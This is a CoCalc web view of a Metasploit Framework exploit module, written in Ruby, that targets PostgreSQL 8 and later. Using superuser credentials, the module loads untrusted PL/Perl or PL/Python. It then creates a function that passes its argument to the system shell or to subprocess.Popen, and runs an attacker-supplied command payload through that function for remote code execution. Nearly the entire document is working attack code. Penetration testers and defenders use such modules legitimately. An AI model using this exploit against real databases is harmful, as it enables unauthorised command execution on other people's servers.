CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/postgres/postgres_createlang.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = GoodRanking
9
10
include Msf::Exploit::Remote::Postgres
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Auxiliary::Report
13
include Msf::OptionalSession::PostgreSQL
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
18
'Description' => %q(
19
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
20
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
21
To execute system commands, loading the "untrusted" version of the language is necessary.
22
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
23
and has been tested on OS X, Windows, and Linux.
24
25
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
26
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
27
28
Only Postgres 8 and up are supported.
29
),
30
'Author' => [
31
'Micheal Cottingham', # author of this module
32
'midnitesnake', # the postgres_payload module that this is based on,
33
'Nixawk' # Improves the module
34
],
35
'License' => MSF_LICENSE,
36
'References' => [
37
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
38
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
39
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
40
],
41
'Platform' => %w(linux unix win osx),
42
'Payload' => {
43
'PayloadType' => %w(cmd)
44
},
45
'Arch' => [ARCH_CMD],
46
'Targets' => [
47
['Automatic', {}]
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2016-01-01'
51
))
52
53
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
54
end
55
56
def check
57
vuln_version? ? CheckCode::Appears : CheckCode::Safe
58
end
59
60
def vuln_version?
61
version = postgres_fingerprint
62
63
return unless version[:auth]
64
65
vprint_status version[:auth].to_s
66
67
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
68
69
Rex::Version.new(version_full) >= Rex::Version.new('8.0')
70
end
71
72
def login_success?
73
status = do_login(username, password, database)
74
case status
75
when :noauth
76
print_error "#{peer} - Authentication failed"
77
return false
78
when :noconn
79
print_error "#{peer} - Connection failed"
80
return false
81
else
82
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"
83
return true
84
end
85
end
86
87
def load_extension?(language)
88
case load_procedural_language(language, 'LANGUAGE')
89
when :exists
90
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"
91
return true
92
when :loaded
93
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"
94
return true
95
when :not_exists
96
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"
97
return false
98
else
99
vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"
100
return false
101
end
102
end
103
104
def exec_function?(func_name)
105
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
106
select_query = postgres_query(query)
107
108
case select_query.keys[0]
109
when :conn_error
110
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
111
return false
112
when :sql_error
113
elog(select_query[:sql_error])
114
115
missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
116
unless missing_executable_match.nil?
117
print_error "#{missing_executable_match} - The target binary was not found on the target."
118
return false
119
end
120
121
if select_query[:sql_error].match? 'execution expired'
122
print_warning 'Timed out. The function was potentially executed.'
123
return true
124
end
125
126
print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
127
return false
128
when :complete
129
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"
130
return true
131
else
132
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
133
return false
134
end
135
end
136
137
def create_function?(language, func_name)
138
load_func = ''
139
140
case language
141
when 'perl'
142
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
143
query << "`$_[0]`;"
144
query << "$$ LANGUAGE pl#{language}u"
145
load_func = postgres_query(query)
146
when /^python(?:2|3)?/i
147
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
148
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
149
query << "$$ LANGUAGE pl#{language}u"
150
load_func = postgres_query(query)
151
end
152
153
case load_func.keys[0]
154
when :conn_error
155
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
156
return false
157
when :sql_error
158
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"
159
return false
160
when :complete
161
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"
162
return true
163
else
164
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
165
return false
166
end
167
end
168
169
def load_procedural_language(language, extension)
170
query = "CREATE #{extension} pl#{language}u"
171
load_language = postgres_query(query)
172
return :loaded unless load_language.keys[0] == :sql_error
173
174
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
175
return :exists if match_exists
176
177
match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
178
return :not_exists if match_error
179
180
# Default to something sane
181
:not_exists
182
end
183
184
def do_login(user, pass, database)
185
begin
186
password = pass || postgres_password
187
result = postgres_fingerprint(
188
db: database,
189
username: user,
190
password: password
191
)
192
193
return result[:auth] if result[:auth]
194
print_error "#{peer} - Login failed"
195
return :noauth
196
197
rescue Rex::ConnectionError
198
return :noconn
199
end
200
end
201
202
def exploit
203
self.postgres_conn = session.client if session
204
return unless vuln_version?
205
return unless login_success?
206
207
languages = %w(perl python python2 python3)
208
languages.each do |language|
209
next unless load_extension?(language)
210
func_name = Rex::Text.rand_text_alpha(10)
211
next unless create_function?(language, func_name)
212
if exec_function?(func_name)
213
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
214
break
215
end
216
end
217
postgres_logout if @postgres_conn && session.blank?
218
end
219
end
220
221